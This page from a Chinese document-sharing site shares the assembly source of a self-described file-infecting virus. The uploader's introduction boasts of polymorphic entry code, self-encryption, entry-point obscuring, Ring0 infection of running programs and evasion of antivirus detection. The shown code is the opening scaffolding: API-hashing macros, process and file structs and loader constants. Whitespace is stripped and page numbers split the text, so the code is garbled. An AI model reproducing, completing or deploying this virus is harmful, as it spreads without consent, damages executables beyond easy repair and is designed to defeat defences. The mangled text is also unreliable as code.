资源描述:
《一款病毒的汇编源代码》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、这篇在邪八有放过!这是一只纯ASM编写的病毒,具备文件感染,入口代码变形,自身加密,EPO等功能,是一只无任何特征码的病毒,设计目的是为对抗反病毒软件的特征码杀毒、行为杀毒和虚拟机杀毒,现有代码未提供任何破坏功能,但会主动感染可执行文件,而且被感染过的文件很难再还原,这点请注意另外这东西也提供了Ring0功能,主要用于感染运行中的可执行文件这东西写完后放了很久,不太记得怎么用了,把代码放上来有兴趣的朋友拿去研究研究,汇编工具为TASM,由于已经不确定会产生什么后果了,测试时请自行承担风险,还有不要拿去做坏事。部分代码:.486p.modelfl
2、at,stdcalloptioncasemap:none;----------------------------------------------------------------------------CRC16MACROstring,lstrCRC_VALUE=0ffffffffhIRPCCRC_BYTE,lstrCRC_VALUE=CRC_VALUExor'&CRC_BYTE'REPT8CRC_VALUE=(CRC_VALUEshr1)xor((CRC_VALUEand1)*0edb88320h)ENDMENDMCRC_VALUE=
3、CRC_VALUExor0ffffffffhdw(CRC_VALUEand0ffffh)ENDMAPIDEFMACROstring,symCRC16,symsym=vEnd+VARLEN+APICOUNTAPICOUNT=APICOUNT+6ENDMVARDEFMACROstring,sym,vwsym=VARCOUNTVARCOUNT=VARCOUNT+vwENDMLIBDEFMACROstring,sym,lstrlocall1,l2l1:dblstr,0l2:sym=LIBCOUNTLIBCOUNT=LIBCOUNT+(l2-l1)END
4、MpushszMACROlstrlocalpushstrcallpushstrdblstr,0pushstr:ENDMrdtscMACROdb0fh,31hENDMShowMessageMACROlstrIFDEBUGOUTPUTMESSAGE=1pushsz,lstrcallOutputMessageENDIFENDMWIN32_FIND_DATAASTRUCTdwFileAttributesDWORD?ftCreationTimeQWORD?ftLastAccessTimeQWORD?ftLastWriteTimeQWORD?nFileSi
5、zeHighDWORD?nFileSizeLowDWORD?dwReserved0DWORD?dwReserved1DWORD?cFileNameBYTE260dup(?)cAlternateFileNameBYTE14dup(?)ALIGN4WIN32_FIND_DATAAENDSPROCESSENTRY32STRUCTdwSizeDWORD?cntUsageDWORD?th32ProcessIDDWORD?th32DefaultHeapIDDWORD?th32ModuleIDDWORD?cntThreadsDWORD?th32ParentP
6、rocessIDDWORD?pcPriClassBaseDWORD?dwFlagsDWORD?szExeFileBYTE260dup(?)PROCESSENTRY32ENDS;--------------------------------------------------------DEBUG=1OUTPUTMESSAGE=0VARLEN=140hvSize=vEnd-vBeginvdelta=vEnd+80hMAX_PATH=104hVARCOUNT=0APICOUNT=0LIBCOUNT=0MainLoaderSizeequ26Mini
7、LoaderSizeequ10FILE_WRITE_ENABLEequ00000001bRING0_CODE_ALLOWequ00000010bUSED_MINI_LOADERequ00000100bNTK_API_INITequ8NTL_API_INITequ9;****************************************************************************;全局变量结构;**********************************************************
8、******************VARCOUNT=-80hVARDEF,var_k32base,4VARDEF,var_vbase,4VARDEF